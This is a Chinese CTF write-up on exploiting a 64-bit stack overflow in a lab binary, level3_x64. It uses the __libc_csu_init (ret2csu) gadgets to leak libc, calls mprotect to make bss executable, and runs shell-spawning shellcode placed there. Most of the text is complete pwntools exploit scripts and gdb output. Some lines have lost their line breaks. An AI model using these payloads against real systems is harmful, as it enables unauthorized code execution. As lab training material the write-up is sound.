思路:bss段刚开始是不可执行的,从通用的想要执行bss必须执行mprotect函数来更改bss段的权限(改为7即可读可写可执行)。但是想要获取到mprotect函数必须获取到libc版本。还是少不了上次的泄露libc函数,这里泄露的时候也直接用通用gedgat减少不必要的操作,减少错误。
泄露获取libc–>获取到mprotect函数来改写bss段的权限–>把shellcode写入到bss段–>执行bss段的内容。
这里需要调用mmap或者mprotect函数都是有三个参数,直接定位到对应位置。上次的行不通就用下面的一个通用gedit
gdb-peda$ disas
Dump of assembler code for function __libc_csu_init:0x0000000000400650 <+0>: push r150x0000000000400652 <+2>: mov r15d,edi0x0000000000400655 <+5>: push r140x0000000000400657 <+7>: mov r14,rsi0x000000000040065a <+10>: push r130x000000000040065c <+12>: mov r13,rdx0x000000000040065f <+15>: push r120x0000000000400661 <+17>: lea r12,[rip+0x2001d8] # 0x6008400x0000000000400668 <+24>: push rbp0x0000000000400669 <+25>: lea rbp,[rip+0x2001d8] # 0x6008480x0000000000400670 <+32>: push rbx0x0000000000400671 <+33>: sub rbp,r120x0000000000400674 <+36>: xor ebx,ebx0x0000000000400676 <+38>: sar rbp,0x30x000000000040067a <+42>: sub rsp,0x80x000000000040067e <+46>: call 0x400480 <_init>0x0000000000400683 <+51>: test rbp,rbp0x0000000000400686 <+54>: je 0x4006a6 <__libc_csu_init+86>0x0000000000400688 <+56>: nop DWORD PTR [rax+rax*1+0x0]0x0000000000400690 <+64>: mov rdx,r130x0000000000400693 <+67>: mov rsi,r140x0000000000400696 <+70>: mov edi,r15d0x0000000000400699 <+73>: call QWORD PTR [r12+rbx*8]0x000000000040069d <+77>: add rbx,0x10x00000000004006a1 <+81>: cmp rbx,rbp0x00000000004006a4 <+84>: jne 0x400690 <__libc_csu_init+64>0x00000000004006a6 <+86>: add rsp,0x80x00000000004006aa <+90>: pop rbx0x00000000004006ab <+91>: pop rbp0x00000000004006ac <+92>: pop r120x00000000004006ae <+94>: pop r130x00000000004006b0 <+96>: pop r140x00000000004006b2 <+98>: pop r150x00000000004006b4 <+100>: ret
End of assembler dump.
这里显示了__libc_csu_init函数的内容。如果执行完0x00000000004006aa地址处后ret后面跟的是0x0000000000400690 会给rdi,rsi,rdx三个寄存器赋值。然后执行call而call的地址我们也能控制最终返回到main函数。
from pwn import *
context.log_level="debug"
p=process("./level3_x64")
elf=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")rop1=0x00000000004006aa
rop2=0x0000000000400690
bss_addr=0x0000000000600a88
main_addr=0x000000000040061A#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)
上面代码有一点需要注意:给r12的值是write_got(write_got是指向函数首地址的一个指针)也就是说这里call的是只想一个地址处的指针ptr[]表示取地址。
call本身call的是要执行函数的首地址
0x40062e <main+20>: call 0x4005e6 <vulnerable_function>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc0 --> 0x400650 (<__libc_csu_init>: push r15)
0008| 0x7fffffffddc8 --> 0x7ffff7801b97 (<__libc_start_main+231>: mov edi,eax)
0016| 0x7fffffffddd0 --> 0x1
0024| 0x7fffffffddd8 --> 0x7fffffffdea8 --> 0x7fffffffe212 ("/home/liu/桌面/oj/level5_x64/level3_x64")
0032| 0x7fffffffdde0 --> 0x100008000
0040| 0x7fffffffdde8 --> 0x40061a (<main>: push rbp)
0048| 0x7fffffffddf0 --> 0x0
0056| 0x7fffffffddf8 --> 0x1e88863ca3cbee78
[------------------------------------------------------------------------------]
Legend: code, data, rodata, valueTemporary breakpoint 1, 0x000000000040061e in main ()
gdb-peda$ x /10i 0x4005e60x4005e6 <vulnerable_function>: push rbp0x4005e7 <vulnerable_function+1>: mov rbp,rsp0x4005ea <vulnerable_function+4>: add rsp,0xffffffffffffff800x4005ee <vulnerable_function+8>: mov edx,0x70x4005f3 <vulnerable_function+13>: mov esi,0x4006d4
from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)
raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(mprotect_addr)#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
#sleep(1)
raw_input()
##########set bss=shellcode
shellcode=asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss())
p.sendline(payload)p.interactive()
这里就犯了个刚才说的错
payload+=p64(1)+p64(mprotect_addr)#rbp,r12
这里的mprotect_addr是执行不了的.想让mprotect执行有一个好办法就是把mprotect放到一个已经知道地址的地方去。这里有现成的,bss段
from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)##########set bss=shellcode
shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(0)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.bss())#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss()+8)
p.recvuntil("Input:\n")
p.sendline(payload)p.interactive()
这里有一点关于mprotect的注意点:mprotect的第一个参数标识要写的内存页的首地址。这里是以页为单位访问。一页是4kb也就是0x1000字节所以mprotect的第一个参数必须是0x1000的倍数。第二个参数标识要设置的权限的地址的范围。这个多少都无所谓,不过需要把bss段包含进去。